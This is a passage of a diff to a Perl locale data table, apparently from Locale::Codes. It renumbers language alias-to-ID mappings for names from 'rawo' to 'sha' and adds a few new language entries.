-      q(7099),
+      q(7097),
       q(0),
       ],
    q(rawo) => [
@@ -48751,11 +48693,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rayon zoque) => [
-      q(7897),
+      q(7894),
       q(0),
       ],
    q(razajerdi) => [
-      q(5742),
+      q(5740),
       q(0),
       ],
    q(razihi) => [
@@ -48763,47 +48705,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(red gelao) => [
-      q(2521),
+      q(2519),
       q(0),
       ],
    q(reel) => [
-      q(0928),
+      q(0927),
       q(0),
       ],
    q(rejang) => [
-      q(5760),
+      q(5758),
       q(0),
       ],
    q(rejang kayan) => [
-      q(5757),
+      q(5755),
       q(0),
       ],
    q(reli) => [
-      q(5759),
+      q(5757),
       q(0),
       ],
    q(rema) => [
-      q(1371),
+      q(1370),
       q(0),
       ],
    q(rembarunga) => [
-      q(5796),
+      q(5795),
       q(0),
       ],
    q(rembong) => [
-      q(5756),
+      q(5754),
       q(0),
       ],
    q(remo) => [
-      q(5762),
+      q(5760),
       q(0),
       ],
    q(remontado dumagat) => [
-      q(0673),
+      q(0672),
       q(0),
       ],
    q(rempi) => [
-      q(5809),
+      q(5808),
       q(0),
       ],
    q(remun) => [
@@ -48811,207 +48753,215 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rendille) => [
-      q(5761),
+      q(5759),
       q(0),
       ],
    q(rengao) => [
-      q(5763),
+      q(5761),
       q(0),
       ],
    q(rennell-bellona) => [
-      q(4425),
+      q(4424),
+      q(0),
+      ],
+   q(rennellese sign language) => [
+      q(5843),
       q(0),
       ],
    q(repanbitip) => [
-      q(5838),
+      q(5837),
       q(0),
       ],
    q(rer bare) => [
-      q(5764),
+      q(5762),
       q(0),
       ],
    q(rerau) => [
-      q(5755),
+      q(5753),
       q(0),
       ],
    q(rerep) => [
-      q(5426),
+      q(5422),
       q(0),
       ],
    q(reserved for local use) => [
-      q(0353),
+      q(0352),
       q(0),
       ],
    q(reshe) => [
-      q(5765),
+      q(5763),
       q(0),
       ],
    q(resigaro) => [
-      q(5772),
+      q(5770),
       q(0),
       ],
    q(retta) => [
-      q(5766),
+      q(5764),
       q(0),
       ],
    q(reunion creole french) => [
-      q(5753),
+      q(5751),
       q(0),
       ],
    q(reyesano) => [
-      q(5767),
+      q(5765),
       q(0),
       ],
    q(riang (india)) => [
-      q(5777),
+      q(5775),
       q(0),
       ],
    q(riang (myanmar)) => [
-      q(5779),
+      q(5778),
       q(0),
       ],
    q(riantana) => [
-      q(5738),
+      q(5736),
       q(0),
       ],
    q(ribun) => [
-      q(5782),
+      q(5781),
+      q(0),
+      ],
+   q(rien) => [
+      q(5776),
       q(0),
       ],
    q(rifao) => [
-      q(4977),
+      q(4975),
       q(1),
       ],
    q(rikbaktsa) => [
-      q(5789),
+      q(5788),
       q(0),
       ],
    q(rincon zapotec) => [
-      q(7805),
+      q(7802),
       q(0),
       ],
    q(rinconada bikol) => [
-      q(1482),
+      q(1481),
       q(0),
       ],
    q(ringgou) => [
-      q(5774),
+      q(5772),
       q(0),
       ],
    q(ririo) => [
-      q(5840),
+      q(5839),
       q(0),
       ],
    q(ritarungo) => [
-      q(5783),
+      q(5782),
       q(0),
       ],
    q(riung) => [
-      q(5784),
+      q(5783),
       q(0),
       ],
    q(riverain sango) => [
-      q(6131),
+      q(6132),
       q(0),
       ],
    q(rogo) => [
-      q(5828),
+      q(5827),
       q(0),
       ],
    q(rohingya) => [
-      q(5775),
+      q(5773),
       q(0),
       ],
    q(roma) => [
-      q(5806),
+      q(5805),
       q(0),
       ],
    q(romagnol) => [
-      q(5771),
+      q(5769),
       q(0),
       ],
    q(romam) => [
-      q(5816),
+      q(5815),
       q(0),
       ],
    q(romance languages) => [
-      q(0358),
+      q(0357),
       q(0),
       ],
    q(romanian) => [
-      q(0361),
+      q(0360),
       q(0),
       ],
    q(romanian sign language) => [
-      q(5811),
+      q(5810),
       q(0),
       ],
    q(romano-greek) => [
-      q(5769),
+      q(5767),
       q(0),
       ],
    q(romano-serbian) => [
-      q(5843),
+      q(5842),
       q(0),
       ],
    q(romanova) => [
-      q(5814),
+      q(5813),
       q(0),
       ],
    q(romansh) => [
-      q(0359),
+      q(0358),
       q(0),
       ],
    q(romany) => [
-      q(0360),
+      q(0359),
       q(0),
       ],
    q(romblomanon) => [
-      q(5832),
+      q(5831),
       q(0),
       ],
    q(rombo) => [
-      q(5830),
+      q(5829),
       q(0),
       ],
    q(romkun) => [
-      q(5804),
+      q(5803),
       q(0),
       ],
    q(ron) => [
-      q(1766),
+      q(1765),
       q(0),
       ],
    q(ronga) => [
-      q(5820),
+      q(5819),
       q(0),
       ],
    q(rongga) => [
-      q(5835),
+      q(5834),
       q(0),
       ],
    q(rongmei naga) => [
-      q(4750),
+      q(4749),
       q(0),
       ],
    q(rongpo) => [
-      q(5823),
+      q(5822),
       q(0),
       ],
    q(ronji) => [
-      q(5829),
+      q(5828),
       q(0),
       ],
    q(roon) => [
-      q(5822),
+      q(5821),
       q(0),
       ],
    q(roria) => [
-      q(5768),
+      q(5766),
       q(0),
       ],
    q(rotokas) => [
-      q(5833),
+      q(5832),
       q(0),
       ],
    q(rotuman) => [
@@ -49023,11 +48973,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ruching palaung) => [
-      q(5381),
+      q(5377),
       q(0),
       ],
    q(rudbari) => [
-      q(5754),
+      q(5752),
       q(0),
       ],
    q(rufiji) => [
@@ -49039,7 +48989,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rukai) => [
-      q(2141),
+      q(2140),
       q(0),
       ],
    q(ruma) => [
@@ -49047,19 +48997,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rumai palaung) => [
-      q(5749),
+      q(5747),
       q(0),
       ],
    q(rumu) => [
-      q(3442),
+      q(3441),
       q(0),
       ],
    q(rundi) => [
-      q(0362),
+      q(0361),
       q(0),
       ],
    q(runga) => [
-      q(5836),
+      q(5835),
       q(0),
       ],
    q(rungtu chin) => [
@@ -49067,19 +49017,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rungus) => [
-      q(2132),
+      q(2131),
       q(0),
       ],
    q(rungwa) => [
-      q(5825),
+      q(5824),
       q(0),
       ],
    q(russia buriat) => [
-      q(1583),
+      q(1582),
       q(0),
       ],
    q(russian) => [
-      q(0364),
+      q(0363),
       q(0),
       ],
    q(russian sign language) => [
@@ -49099,7 +49049,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ruund) => [
-      q(5819),
+      q(5818),
       q(0),
       ],
    q(rwa) => [
@@ -49115,11 +49065,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sa'a) => [
-      q(0835),
+      q(0834),
       q(0),
       ],
    q(sa'ban) => [
-      q(6141),
+      q(6142),
       q(0),
       ],
    q(sa'och) => [
@@ -49131,7 +49081,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saam) => [
-      q(5740),
+      q(5738),
       q(0),
       ],
    q(saamia) => [
@@ -49139,7 +49089,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saaroa) => [
-      q(6319),
+      q(6320),
       q(0),
       ],
    q(saba) => [
@@ -49147,15 +49097,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sabaean) => [
-      q(7474),
+      q(7471),
       q(0),
       ],
    q(sabah bisaya) => [
-      q(1470),
+      q(1469),
       q(0),
       ],
    q(sabah malay) => [
-      q(4531),
+      q(4530),
       q(0),
       ],
    q(sabane) => [
@@ -49163,7 +49113,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sabaot) => [
-      q(6186),
+      q(6187),
       q(0),
       ],
    q(sabine) => [
@@ -49171,7 +49121,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sabu) => [
-      q(2875),
+      q(2873),
       q(0),
       ],
    q(sabum) => [
@@ -49179,7 +49129,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sacapulteco) => [
-      q(5686),
+      q(5684),
       q(0),
       ],
    q(sadri) => [
@@ -49187,11 +49137,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saek) => [
-      q(6063),
+      q(6062),
       q(0),
       ],
    q(saep) => [
-      q(6169),
+      q(6170),
       q(0),
       ],
    q(safaliba) => [
@@ -49199,7 +49149,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(safeyoka) => [
-      q(0859),
+      q(0858),
       q(0),
       ],
    q(safwa) => [
@@ -49215,7 +49165,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saho) => [
-      q(6241),
+      q(6242),
       q(0),
       ],
    q(sahu) => [
@@ -49223,23 +49173,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saidi arabic) => [
-      q(0626),
+      q(0625),
       q(0),
       ],
    q(saint lucian creole french) => [
-      q(0588),
+      q(0587),
       q(0),
       ],
    q(saisiyat) => [
-      q(7491),
+      q(7488),
       q(0),
       ],
    q(sajalong) => [
-      q(6052),
+      q(6051),
       q(0),
       ],
    q(sajau basap) => [
-      q(6047),
+      q(6046),
       q(0),
       ],
    q(sakachep) => [
@@ -49247,11 +49197,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sakalava malagasy) => [
-      q(6068),
+      q(6067),
       q(0),
       ],
    q(sakan) => [
-      q(0224),
+      q(0223),
       q(1),
       ],
    q(sakao) => [
@@ -49267,15 +49217,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sakirabia) => [
-      q(6067),
+      q(6066),
       q(0),
       ],
    q(sala) => [
-      q(6015),
+      q(6014),
       q(0),
       ],
    q(salako) => [
-      q(3499),
+      q(3498),
       q(1),
       ],
    q(salampasu) => [
@@ -49287,11 +49237,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(salas) => [
-      q(5996),
+      q(5995),
       q(0),
       ],
    q(salasaca highland quichua) => [
-      q(5715),
+      q(5713),
       q(0),
       ],
    q(salchuq) => [
@@ -49311,11 +49261,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(salishan languages) => [
-      q(0369),
+      q(0368),
       q(0),
       ],
    q(sallands) => [
-      q(5953),
+      q(5952),
       q(0),
       ],
    q(salt-yui) => [
@@ -49331,11 +49281,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(salvadoran sign language) => [
-      q(2294),
+      q(2293),
       q(0),
       ],
    q(sam) => [
-      q(6143),
+      q(6144),
       q(0),
       ],
    q(sama) => [
@@ -49347,7 +49297,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(samaritan aramaic) => [
-      q(0370),
+      q(0369),
       q(0),
       ],
    q(samarokena) => [
@@ -49355,11 +49305,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(samatao) => [
-      q(7733),
+      q(7730),
       q(0),
       ],
    q(samay) => [
-      q(6333),
+      q(6334),
       q(0),
       ],
    q(samba) => [
@@ -49367,27 +49317,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(samba daka) => [
-      q(1681),
+      q(1680),
       q(0),
       ],
    q(samba leko) => [
-      q(4784),
+      q(4782),
       q(0),
       ],
    q(sambal) => [
-      q(7475),
+      q(7472),
       q(0),
       ],
    q(sambalpuri) => [
-      q(6184),
+      q(6185),
       q(0),
       ],
    q(sambe) => [
-      q(7260),
+      q(7258),
       q(0),
       ],
    q(samberigi) => [
-      q(6240),
+      q(6241),
       q(0),
       ],
    q(samburu) => [
@@ -49399,7 +49349,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sami languages) => [
-      q(0390),
+      q(0389),
       q(0),
       ],
    q(samo) => [
@@ -49407,31 +49357,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(samoan) => [
-      q(0393),
+      q(0392),
       q(0),
       ],
    q(samogitian) => [
-      q(5994),
+      q(5993),
       q(0),
       ],
    q(samosa) => [
-      q(6297),
+      q(6298),
       q(0),
       ],
    q(samoyedic languages) => [
-      q(0527),
+      q(0526),
       q(0),
       ],
    q(sampang) => [
-      q(5744),
+      q(5742),
       q(0),
       ],
    q(samre) => [
-      q(6316),
+      q(6317),
       q(0),
       ],
    q(samtao) => [
-      q(6262),
+      q(6263),
       q(0),
       ],
    q(samvedi) => [
@@ -49439,63 +49389,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(san agustin mixtepec zapotec) => [
-      q(7941),
+      q(7938),
       q(0),
       ],
    q(san baltazar loxicha zapotec) => [
-      q(7922),
+      q(7919),
       q(0),
       ],
    q(san blas kuna) => [
-      q(1905),
+      q(1904),
       q(0),
       ],
    q(san dionisio del mar huave) => [
-      q(2873),
+      q(2871),
       q(0),
       ],
    q(san felipe otlaltepec popoloca) => [
-      q(5564),
+      q(5560),
       q(0),
       ],
    q(san francisco del mar huave) => [
-      q(2852),
+      q(2850),
       q(0),
       ],
    q(san francisco matlatzinca) => [
-      q(4114),
+      q(4113),
       q(0),
       ],
    q(san jeronimo tecoatl mazatec) => [
-      q(4107),
+      q(4106),
       q(0),
       ],
    q(san juan atzingo popoloca) => [
-      q(5551),
+      q(5547),
       q(0),
       ],
    q(san juan colorado mixtec) => [
-      q(4314),
+      q(4313),
       q(0),
       ],
    q(san juan guelavia zapotec) => [
-      q(7791),
+      q(7788),
       q(1),
       ],
    q(san juan teita mixtec) => [
-      q(7500),
+      q(7497),
       q(0),
       ],
    q(san luis temalacayuca popoloca) => [
-      q(5576),
+      q(5572),
       q(0),
       ],
    q(san marcos tlacoyalco popoloca) => [
-      q(5498),
+      q(5494),
       q(0),
       ],
    q(san marcos tlalcoyalco popoloca) => [
-      q(5498),
+      q(5494),
       q(1),
       ],
    q(san martin itunyoso triqui) => [
@@ -49503,11 +49453,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(san martin quechua) => [
-      q(5702),
+      q(5700),
       q(0),
       ],
    q(san mateo del mar huave) => [
-      q(2867),
+      q(2865),
       q(0),
       ],
    q(san miguel creole french) => [
@@ -49515,19 +49465,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(san miguel el grande mixtec) => [
-      q(4296),
+      q(4295),
       q(0),
       ],
    q(san miguel piedras mixtec) => [
-      q(7505),
+      q(7502),
       q(0),
       ],
    q(san pedro amuzgos amuzgo) => [
-      q(1016),
+      q(1015),
       q(0),
       ],
    q(san pedro quiatoni zapotec) => [
-      q(7904),
+      q(7901),
       q(0),
       ],
    q(san salvador kongo) => [
@@ -49535,19 +49485,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(san vicente coatlan zapotec) => [
-      q(7918),
+      q(7915),
       q(0),
       ],
    q(sanaani arabic) => [
-      q(1003),
+      q(1002),
       q(0),
       ],
    q(sanapana) => [
-      q(6176),
+      q(6177),
       q(0),
       ],
    q(sandawe) => [
-      q(0365),
+      q(0364),
       q(0),
       ],
    q(sanga (democratic republic of congo)) => [
@@ -49555,7 +49505,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sanga (nigeria)) => [
-      q(7483),
+      q(7480),
       q(0),
       ],
    q(sanggau) => [
@@ -49563,35 +49513,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sangil) => [
-      q(6132),
+      q(6133),
       q(0),
       ],
    q(sangir) => [
-      q(6317),
+      q(6318),
       q(0),
       ],
    q(sangisari) => [
-      q(5993),
+      q(5992),
       q(0),
       ],
    q(sangkong) => [
-      q(5990),
+      q(5989),
       q(0),
       ],
    q(sanglechi) => [
-      q(5999),
+      q(5998),
       q(0),
       ],
    q(sango) => [
-      q(0366),
+      q(0365),
       q(0),
       ],
    q(sangtam naga) => [
-      q(5061),
+      q(5057),
       q(0),
       ],
    q(sangu (gabon)) => [
-      q(6137),
+      q(6138),
       q(0),
       ],
    q(sangu (tanzania)) => [
@@ -49599,103 +49549,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sani) => [
-      q(7736),
+      q(7733),
       q(0),
       ],
    q(sanie) => [
-      q(7741),
+      q(7738),
       q(0),
       ],
    q(saniyo-hiyewe) => [
-      q(6144),
+      q(6145),
       q(0),
       ],
    q(sankaran maninka) => [
-      q(4525),
+      q(4524),
       q(0),
       ],
    q(sansi) => [
-      q(6226),
+      q(6227),
       q(0),
       ],
    q(sanskrit) => [
-      q(0371),
+      q(0370),
       q(0),
       ],
    q(santa ana de tusi pasco quechua) => [
-      q(5722),
+      q(5720),
       q(0),
       ],
    q(santa catarina albarradas zapotec) => [
-      q(7942),
+      q(7939),
       q(0),
       ],
    q(santa ines ahuatempan popoloca) => [
-      q(5377),
+      q(5373),
       q(0),
       ],
    q(santa ines yatzechi zapotec) => [
-      q(7912),
+      q(7909),
       q(0),
       ],
    q(santa lucia monteverde mixtec) => [
-      q(4189),
+      q(4188),
       q(0),
       ],
    q(santa maria del mar huave) => [
-      q(2876),
+      q(2874),
       q(0),
       ],
    q(santa maria la alta nahuatl) => [
-      q(4875),
+      q(4873),
       q(0),
       ],
    q(santa maria quiegolani zapotec) => [
-      q(7907),
+      q(7904),
       q(0),
       ],
    q(santa maria zacatepec mixtec) => [
-      q(4687),
+      q(4686),
       q(0),
       ],
    q(santa teresa cora) => [
-      q(1815),
+      q(1814),
       q(0),
       ],
    q(santali) => [
-      q(0373),
+      q(0372),
       q(0),
       ],
    q(santiago del estero quichua) => [
-      q(5685),
+      q(5683),
       q(0),
       ],
    q(santiago xanica zapotec) => [
-      q(7916),
+      q(7913),
       q(0),
       ],
    q(santo domingo albarradas zapotec) => [
-      q(7806),
+      q(7803),
       q(0),
       ],
    q(sanuma) => [
-      q(7489),
+      q(7486),
       q(0),
       ],
    q(sao paulo kaingang) => [
-      q(7851),
+      q(7848),
       q(0),
       ],
    q(saotomense) => [
-      q(1845),
+      q(1844),
       q(0),
       ],
    q(saparua) => [
-      q(6180),
+      q(6181),
       q(0),
       ],
    q(sape) => [
-      q(6168),
+      q(6169),
       q(0),
       ],
    q(sapo) => [
@@ -49703,23 +49653,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saponi) => [
-      q(6172),
+      q(6173),
       q(0),
       ],
    q(saposa) => [
-      q(6181),
+      q(6182),
       q(0),
       ],
    q(sapuan) => [
-      q(6183),
+      q(6184),
       q(0),
       ],
    q(sar) => [
-      q(4627),
+      q(4626),
       q(0),
       ],
    q(sara) => [
-      q(6201),
+      q(6202),
       q(0),
       ],
    q(sara kaba) => [
@@ -49739,19 +49689,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saramaccan) => [
-      q(6208),
+      q(6209),
       q(0),
       ],
    q(sarangani blaan) => [
-      q(1390),
+      q(1389),
       q(0),
       ],
    q(sarangani manobo) => [
-      q(4137),
+      q(4136),
       q(0),
       ],
    q(sarasira) => [
-      q(7932),
+      q(7929),
       q(0),
       ],
    q(saraveca) => [
@@ -49759,71 +49709,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sardinian) => [
-      q(0403),
+      q(0402),
       q(0),
       ],
    q(sari) => [
-      q(0895),
+      q(0894),
       q(0),
       ],
    q(sarikoli) => [
-      q(6204),
+      q(6205),
       q(0),
       ],
    q(sarli) => [
-      q(5938),
+      q(5937),
       q(0),
       ],
    q(sarsi) => [
-      q(6211),
+      q(6212),
       q(0),
       ],
    q(sartang) => [
-      q(5271),
+      q(5267),
       q(0),
       ],
    q(sarua) => [
-      q(6309),
+      q(6310),
       q(0),
       ],
    q(sarudu) => [
-      q(5951),
+      q(5950),
       q(0),
       ],
    q(saruga) => [
-      q(6198),
+      q(6199),
       q(0),
       ],
    q(sasak) => [
-      q(0372),
+      q(0371),
       q(0),
       ],
    q(sasaru) => [
-      q(6320),
+      q(6321),
       q(0),
       ],
    q(sassarese sardinian) => [
-      q(5936),
+      q(5935),
       q(0),
       ],
    q(satawalese) => [
-      q(6264),
+      q(6265),
       q(0),
       ],
    q(satere-mawe) => [
-      q(4116),
+      q(4115),
       q(0),
       ],
    q(saterfriesisch) => [
-      q(6258),
+      q(6259),
       q(0),
       ],
    q(saudi arabian sign language) => [
-      q(5943),
+      q(5942),
       q(0),
       ],
    q(sauraseni prakrit) => [
-      q(5617),
+      q(5614),
       q(0),
       ],
    q(saurashtra) => [
@@ -49831,11 +49781,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sauri) => [
-      q(6212),
+      q(6213),
       q(0),
       ],
    q(sauria paharia) => [
-      q(4330),
+      q(4329),
       q(0),
       ],
    q(sause) => [
@@ -49843,15 +49793,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sausi) => [
-      q(6227),
+      q(6228),
       q(0),
       ],
    q(savi) => [
-      q(5939),
+      q(5938),
       q(0),
       ],
    q(savosavo) => [
-      q(6286),
+      q(6287),
       q(0),
       ],
    q(sawai) => [
@@ -49859,7 +49809,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(saweru) => [
-      q(6302),
+      q(6303),
       q(0),
       ],
    q(sawi) => [
@@ -49867,19 +49817,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sawila) => [
-      q(6304),
+      q(6305),
       q(0),
       ],
    q(sawknah) => [
-      q(6298),
+      q(6299),
       q(0),
       ],
    q(saxon, low) => [
-      q(0307),
+      q(0306),
       q(3),
       ],
    q(saxwe gbe) => [
-      q(6322),
+      q(6323),
       q(0),
       ],
    q(saya) => [
@@ -49887,31 +49837,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sayula popoluca) => [
-      q(5561),
+      q(5557),
       q(0),
       ],
    q(scots) => [
-      q(0375),
+      q(0374),
       q(0),
       ],
    q(scottish gaelic) => [
-      q(0154),
+      q(0153),
       q(1),
       ],
    q(scythian) => [
-      q(7476),
+      q(7473),
       q(0),
       ],
    q(sea island creole english) => [
-      q(2650),
+      q(2648),
       q(0),
       ],
    q(seba) => [
-      q(3239),
+      q(3237),
       q(0),
       ],
    q(sebat bet gurage) => [
-      q(5997),
+      q(5996),
       q(0),
       ],
    q(seberuang) => [
@@ -49919,7 +49869,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sebop) => [
-      q(6026),
+      q(6025),
       q(0),
       ],
    q(sebuyau) => [
@@ -49927,15 +49877,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sechelt) => [
-      q(5956),
+      q(5955),
       q(0),
       ],
    q(secoya) => [
-      q(5975),
+      q(5974),
       q(0),
       ],
    q(sedang) => [
-      q(5957),
+      q(5956),
       q(0),
       ],
    q(sedoa) => [
@@ -49943,15 +49893,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(seeku) => [
-      q(6160),
+      q(6161),
       q(0),
       ],
    q(segai) => [
-      q(5985),
+      q(5984),
       q(0),
       ],
    q(segeju) => [
-      q(5960),
+      q(5959),
       q(0),
       ],
    q(seget) => [
@@ -49959,15 +49909,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sehwi) => [
-      q(5981),
+      q(5980),
       q(0),
       ],
    q(seimat) => [
-      q(6224),
+      q(6225),
       q(0),
       ],
    q(seit-kaitetu) => [
-      q(2758),
+      q(2756),
       q(0),
       ],
    q(sekak) => [
@@ -49975,7 +49925,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(sekani) => [
-      q(5964),
+      q(5963),
       q(0),
       ],
    q(sekapan) => [
@@ -49987,19 +49937,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(seke (nepal)) => [
-      q(6071),
+      q(6070),
       q(0),
       ],
    q(seke (vanuatu)) => [
-      q(6066),
+      q(6065),
       q(0),
       ],
    q(sekele) => [
-      q(6960),
+      q(6959),
       q(0),
       ],
    q(seki) => [
-      q(6325),
+      q(6326),
       q(0),
       ],
    q(seko padang) => [
@@ -50015,7 +49965,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(selangor sign language) => [
-      q(3313),
+      q(3312),
       q(0),
       ],
    q(selaru) => [
@@ -50027,19 +49977,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(selee) => [
-      q(6142),
+      q(6143),
       q(0),
       ],
    q(selepet) => [
-      q(6174),
+      q(6175),
       q(0),
       ],
    q(selian) => [
-      q(6315),
+      q(6316),
       q(0),
       ],
    q(selkup) => [
-      q(0376),
+      q(0375),
       q(0),
       ],
    q(selungai murut) => [
@@ -50047,19 +49997,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(seluwasan) => [
-      q(6303),
+      q(6304),
       q(0),
       ],
    q(semai) => [
-      q(5954),
+      q(5953),
       q(0),
       ],
    q(semandang) => [
-      q(5944),
+      q(5943),
       q(0),
       ],
    q(semaq beri) => [
-      q(6337),
+      q(6338),
       q(0),
       ],
    q(sembakung murut) => [
@@ -50067,19 +50017,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(semelai) => [
-      q(6335),
+      q(6336),
       q(0),
       ],
    q(semimi) => [
-      q(2310),
+      q(2309),
       q(0),
       ],
    q(semitic languages) => [
-      q(0377),
+      q(0376),
       q(0),
       ],
    q(semnam) => [
-      q(6230),
+      q(6231),
       q(0),
       ],
    q(semnani) => [
@@ -50087,87 +50037,87 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sempan) => [
-      q(7478),
+      q(7475),
       q(0),
       ],
    q(sena) => [
-      q(5961),
+      q(5960),
       q(0),
       ],
    q(senara senoufo) => [
-      q(5968),
+      q(5967),
       q(0),
       ],
    q(senaya) => [
-      q(6329),
+      q(6330),
       q(0),
       ],
    q(sene) => [
-      q(5963),
+      q(5962),
       q(0),
       ],
    q(seneca) => [
-      q(5958),
+      q(5957),
       q(0),
       ],
    q(sened) => [
-      q(5949),
+      q(5948),
       q(0),
       ],
    q(sengele) => [
-      q(6340),
+      q(6341),
       q(0),
       ],
    q(senggi) => [
-      q(6140),
+      q(6141),
       q(0),
       ],
    q(sengo) => [
-      q(6173),
+      q(6174),
       q(0),
       ],
    q(sengseng) => [
-      q(6242),
+      q(6243),
       q(0),
       ],
    q(senhaja de srair) => [
-      q(6058),
+      q(6057),
       q(0),
       ],
    q(sensi) => [
-      q(6130),
+      q(6131),
       q(0),
       ],
    q(sentani) => [
-      q(5971),
+      q(5970),
       q(0),
       ],
    q(senthang chin) => [
-      q(5976),
+      q(5975),
       q(0),
       ],
    q(sentinel) => [
-      q(6245),
+      q(6246),
       q(0),
       ],
    q(sepa (indonesia)) => [
-      q(6167),
+      q(6168),
       q(0),
       ],
    q(sepa (papua new guinea)) => [
-      q(6170),
+      q(6171),
       q(0),
       ],
    q(sepedi) => [
-      q(0319),
+      q(0318),
       q(1),
       ],
    q(sepik iwam) => [
-      q(3030),
+      q(3027),
       q(0),
       ],
    q(sera) => [
-      q(6217),
+      q(6218),
       q(0),
       ],
    q(seraiki) => [
@@ -50175,63 +50125,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(serbian) => [
-      q(0405),
+      q(0404),
       q(0),
       ],
    q(serbo-croatian) => [
-      q(0538),
+      q(0537),
       q(0),
       ],
    q(sere) => [
-      q(6290),
+      q(6291),
       q(0),
       ],
    q(serer) => [
-      q(0406),
+      q(0405),
       q(0),
       ],
    q(seri) => [
-      q(5962),
+      q(5961),
       q(0),
       ],
    q(serili) => [
-      q(6283),
+      q(6284),
       q(0),
       ],
    q(seroa) => [
-      q(3564),
+      q(3563),
       q(0),
       ],
    q(serrano) => [
-      q(5969),
+      q(5968),
       q(0),
       ],
    q(seru) => [
-      q(6338),
+      q(6339),
       q(0),
       ],
    q(serua) => [
-      q(6215),
+      q(6216),
       q(0),
       ],
    q(serudung murut) => [
-      q(6206),
+      q(6207),
       q(0),
       ],
    q(serui-laut) => [
-      q(5972),
+      q(5971),
       q(0),
       ],
    q(seselwa creole french) => [
-      q(1854),
+      q(1853),
       q(0),
       ],
    q(seta) => [
-      q(6247),
+      q(6248),
       q(0),
       ],
    q(setaman) => [
-      q(6254),
+      q(6255),
       q(0),
       ],
    q(seti) => [
@@ -50239,27 +50189,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(settla) => [
-      q(6243),
+      q(6244),
       q(0),
       ],
    q(severn ojibwa) => [
-      q(5217),
+      q(5213),
       q(0),
       ],
    q(sewa bay) => [
-      q(5974),
+      q(5973),
       q(0),
       ],
    q(seze) => [
-      q(6339),
+      q(6340),
       q(0),
       ],
    q(sha) => [
